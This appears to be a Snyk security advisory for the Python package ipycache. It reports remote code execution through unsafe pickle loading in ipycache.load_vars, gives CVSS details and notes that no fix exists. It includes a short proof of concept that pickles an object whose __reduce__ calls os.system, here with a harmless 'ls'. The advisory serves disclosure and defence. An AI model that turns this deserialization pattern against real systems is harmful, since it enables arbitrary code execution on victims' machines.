Remote Code Execution (RCE) Affecting ipycache package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.2% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-IPYCACHE-173995
  • published 21 Mar 2019
  • disclosed 21 Mar 2019
  • credit bigbigliang-malwarebenchmark

How to fix?

There is no fixed version for ipycache.

Overview

ipycache is a package that defines a %%cache cell magic in the iPython notebook to cache results of long-lasting computations in a persistent pickle file.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) in the ipycache.load_vars method.

PoC

import os
import pickle
import ipycache

class Test(object):

def __init__(self):
    self.a = 1

def __reduce__(self):
    return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:

pickle.dump(tmpdaa,f)
ipycache.load_vars('a-file.pickle','')

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High